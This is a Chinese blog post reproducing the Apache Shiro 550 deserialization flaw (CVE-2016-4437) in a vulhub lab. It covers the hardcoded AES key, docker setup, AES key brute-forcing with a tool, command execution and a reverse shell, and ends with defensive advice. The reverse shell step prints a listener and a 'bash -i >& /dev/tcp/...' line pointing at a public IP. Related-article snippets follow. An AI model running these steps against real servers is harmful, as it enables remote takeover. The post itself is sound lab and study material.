【渗透测试】-CVE-2016-4437-Shiro550漏洞复现

news2024/12/28 19:32:03

Shiro550漏洞爆出的时间是2016年为第4437个漏洞,所以它的CVE编码是2016-4437

文章目录

前言  什么是Shiro550漏洞?

1.Shiro550漏洞原理:

2.漏洞利用

3.漏洞复现:

  前提:下载并打开vulhub靶场。

  CVE-2016-4437-shiro550漏洞复现

总结  Shiro550 的防御措施:


前言  什么是Shiro550漏洞?

Shiro550漏洞(CVE-2016-4437)是Apache Shiro框架中的一个高危反序列化漏洞,主要影响版本为1.2.4及以前版本。该漏洞允许攻击者通过RememberMe功能实现远程代码执行(RCE)。


1.Shiro550漏洞原理:

Shiro框架的rememberme功能允许用户在下次访问时无需重新登录。

在处理rememberme字段时,Shiro会先进行Base64解码,然后使用AES解密,最后进行反序列化输出,通过两种不同的编码方式进行加解密。

这听起来很安全,但是Shiro的默认AES密钥是硬编码在框架中的,这使得hacker有可能通过爆破或其他手段获取到这个密钥。

一旦hacker获取了AES密钥,就可以构造一个恶意的序列化对象,将其AES加密并Base64编码后,作为rememberme字段发送给shiro服务端,服务端在接收到这个恶意的rememberme字段后,会进行Base64解码和AES解密,最后进行反序列化。

由于反序列化过程中没有进行有效的过滤处理,恶意对象中的代码将被执行,从而导致服务器遭受攻击。

2.漏洞利用

执行任意命令:hacker可以通过构造恶意的序列化对象来执行系统命令,从而控制目标服务器。

反弹shell: hacker可以在自己的服务器上开启一个监听服务,并将恶意代码发送给目标服务器,目标服务器在反序列化恶意对象时会执行其中的恶意代码,从而反弹一个shell给hacker。

3.漏洞复现:

前提:下载并打开vulhub靶场。

1.准备unbantu虚拟机或云服务器

2.去GitHub下载vulhub靶场。

cd vulhub-master       //进入靶场
ls                    
cd shiro/              //进入shiro
ls
cd CVE-2010-3863/      //进入shiro550
docker-compose build   //建立容器
docker-compose up -d   //拉取镜像
ufw allow 8080         //开放端口
ufw relod
docker ps -a           //查看端口

docker-compose down    //完成练习后关闭容器

CVE-2016-4437-shiro550漏洞复现

服务器ip:38 .6.177.124

使用工具检测:

步骤:

1.将url丢进目标地址->检测当前密钥

2.爆破密钥:

3.检测当前利用链

4.进行命令执行-whoami

执行成功。

命令执行:id

执行成功。

命令执行:反弹shell

unbatu虚拟机或kali:nc -lvp 7777

工具反弹shell:

bash -i >& /dev/tcp/ 38.6.177.124 /7777 0>&1

注:也许是我的靶机装在docker容器里,反弹shell时一直反弹不回去。

于是换了个公网地址:23.224.61.67  

反弹成功

3.注入内存码,尝试远程连接:


总结  Shiro550 的防御措施:

及时更新Apache Shiro框架到最新版本,确保已修复该漏洞。

对来自用户的输入进行严格的验证和过滤处理,以防止恶意代码的注入。

使用安全的加密算法和密钥管理策略来保护敏感数据。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2134501.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

CentOS 7停更官方yum源无法使用,更换阿里源

CentOS 7官方源已经停止维护,导致无法使用yum更新软件。通过尝试使用阿里云、清华大学等第三方源解决,现以阿里云第三方源进行配置: 1、备份原有的yum源配置文件 # cp -a /etc/yum.repos.d /etc/yum.repos.d.bak 2、删除原有的yum源配置文…

什么是交换机级联?

在现代计算机网络中,交换机级联是一种广泛应用的技术,有助于提升网络的扩展性和灵活性。本文将深入探讨交换机级联相关知识,详细介绍其基本概念和连接配置方法,并对常见技术问题进行解答。 交换机级联概述 交换机级联是指通过将…

windows server2012 配制nginx安装为服务的时候,直接跳要安装.net框架,用自动的安装,直接失败的解决。

1、上一个已成功在安装过程中的图: 2、之前安装过程中错误的图: 3、离线安装解决: 下载.net framework 3.5,然后解压后,选择指定备用源路径,然后选择.net安装包所在目录: 只要指定上面全路径就…

WebGL系列教程八(GLSL着色器基础语法)

目录 1 前言2 基本原则3 基本数据类型4 顶点着色器和片元着色器4.1 声明4.2 初始化项目4.3 赋值 5 结构体5.1 声明5.2 赋值 6 函数6.1 基本结构6.2 自定义函数6.3 常用内置函数 7 精度8 其他9 总结 1 前言 通过前七讲,我们已经见过了WebGL中的部分基础语法&#xff…

初始爬虫1(补充)

TCP 和 UDP 是什么? TCP(Transmission Control Protocol)和 UDP(User Datagram Protocol)都是传输层协议,它们负责在计算机网络上发送和接收数据包。两者有不同的特性和适用场景: TCP&#xff0…

文档团队如何组成?

经常有朋友问我文档团队是由怎样背景的人组成的?今天来聊聊这个话题。 中国贸促会和技术传播专委会以及lnfomagic学院2023年在技术传播行业做了一个调查,在收到的231份有效样本中显示, 受访群体的背景主要是两大类,他们分别是技术…

视频推镜拍摄SDK解决方案,创新短视频玩法

在当今社交媒体盛行的时代,短视频已成为人们分享生活、展示创意的重要方式。美摄科技推出的视频推镜拍摄SDK解决方案,为用户提供了一种全新的短视频创作体验。 一、什么是视频推镜拍摄SDK解决方案? 美摄科技的视频推镜拍摄SDK解决方案是一种…

虹科方案 | 精准零部件测试!多路汽车开关按键功能检测系统

欢迎关注虹科,为您提供最新资讯! #LIN/CAN总线 #零部件测试 #CAN数据 导读 在汽车制造业中,零部件的安全性、功能性和可靠性是确保车辆整体性能的关键。虹科针对车辆零部件的LIN/CAN总线仿真测试,提出了基于虹科Baby-LIN系列产…

详细分析linux中的MySql跳过密码验证以及Bug(图文)

目录 1.问题所示2. 基本知识3. 解决方法3.1 跳过验证Bug3.2 设定初始密码 1.问题所示 发现密码验证错误,遗失密码 2. 基本知识 停止MySQL服务:sudo systemctl stop mysql 以跳过权限表模式启动MySQL:sudo mysqld_safe --skip-grant-tables …

移情别恋c++ ദ്ദി˶ー̀֊ー́ ) ——12.二叉树(习题)

1.根据二叉树创建字符串 . - 力扣(LeetCode) 我的思路: 1. 根节点单独讨论,因为,根节点之后才会开始有括号 2.根节点的左孩子和右孩子分别进入operation函数 operation函数: 1.如果root不为空,…

计算机毕业设计选题推荐-在线投票系统-Java/Python项目实战

✨作者主页:IT研究室✨ 个人简介:曾从事计算机专业培训教学,擅长Java、Python、微信小程序、Golang、安卓Android等项目实战。接项目定制开发、代码讲解、答辩教学、文档编写、降重等。 ☑文末获取源码☑ 精彩专栏推荐⬇⬇⬇ Java项目 Python…

程序员的 AI 启蒙:ChatGPT+ Copilot开发Vue3 仿简书项目 90%代码AI生成

在人工智能技术日益成熟的今天,程序员们正在迎来一场全新的编程革命。ChatGPT和Copilot等AI工具的出现,让代码生成不再是遥不可及的梦想。本文将带你体验如何利用这些先进技术,仅用90%的代码量,开发出一个基于Vue3的仿简书项目&am…

电容笔有必要买吗?西圣、wiwu、倍思好不好用?王者产品测评对比

当下很多年轻人都热衷于使用 iPad 来进行学习与娱乐,因此电容笔还是很有必要买的,它可以提升我们的效率。然而作为一名数码测评博主,我十分清楚一旦选到质量不佳的产品,就会出现诸如断触、延迟等问题,进而拉低效率。 …

2024年9月一区SCI-神经种群动态优化算法NPDOA-附Matlab免费代码

引言 本期介绍了一种受脑神经科学启发的元启发式算法,称为神经种群动态优化算法Neural population dynamics optimization algorithm(NPDOA)的元启发式算法。该成果于2024年9月最新发表在中科院1区 Top SCI期刊 Knowledge-Based Systems。 原文作者将NPDOA与其他9种…

大学生必备10个AI工具网站,辅助完成辩论/开题/实践/形势政策报告、创新创业计划书、思想汇报、心得感悟等作业,提升学习效率和学术表现!

大学新生和学长学姐们都已经开学了,忙碌的课程和多样的作业也随之开始,下面将给大学生们介绍10个辅助完成作业、寻找灵感,提升学习专注力和学术表现的AI工具~ 1、笔墨写作 笔墨写作 - 领先的写作智能AI创作平台 | 官方首页笔墨写作是一款专…

深度剖析去中心化存储:IPFS、Arweave 和 BNB Greenfield 的技术革新与生态系统演进

引言: 在数字时代的浪潮中,数据已然成为驱动创新和决策的核心资产。然而,随着数据量呈指数级增长,传统中心化存储模式面临着前所未有的挑战。安全漏洞、隐私泄露、数据垄断等问题日益凸显,促使技术界重新思考数据存储…

QT多线程编程(基础概念以及示例)

QT多线程编程 前言:基础夯实:一:多线程概述二:QT多线程的使用1. 继承QThread类2. 继承QObject类3. QtConcurrent模块 三:线程同步与通信四:线程安全五:线程管理六:总结 效果展示:实现功能:核心代码:mainwindow.hmythre…

2024数学建模国赛官方评阅标准发布!

​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑​↑…

被百度 AI 文心一言推荐的 Mac App 惊喜到了!

由于工作需要,我需要一款 Mac 软件帮我记录所有的复制记录。 当我去百度搜索“mac 复制记录”“mac 复制历史”时,百度 AI 给我推荐了这三款 App:Maccy、CleanClip、Collect Boy。 我开始分别试用这三款软件,我现在还没全部试用完…

002集—— CAD划线并模拟向命令窗口发送命令(CAD—C#二次开发入门)

模拟向命令窗口发送全图居中的命令: Application.DocumentManager.MdiActiveDocument.SendStringToExecute("z\ne\n",true,false,false); 弹窗命令: Application.ShowAlertDialog("Erase the newly added polyline."); 本例在ca…